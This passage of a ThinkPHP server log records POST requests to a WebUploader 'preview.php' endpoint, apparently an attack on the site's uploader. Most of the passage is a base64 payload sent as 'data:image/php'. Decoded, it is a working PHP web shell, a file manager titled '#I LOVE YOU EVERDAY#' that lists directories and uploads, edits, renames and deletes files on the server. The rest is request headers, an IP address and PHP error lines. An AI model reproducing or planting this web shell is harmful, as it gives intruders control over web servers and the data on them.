l9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:30:24+08:00 ] 119.42.146.234 POST 51tianwei.com/static/common/user/webuploader/0.1.15/server/preview.php [运行时间:0.002723s] [吞吐率:367.24req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'static', 2 => 'common', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0g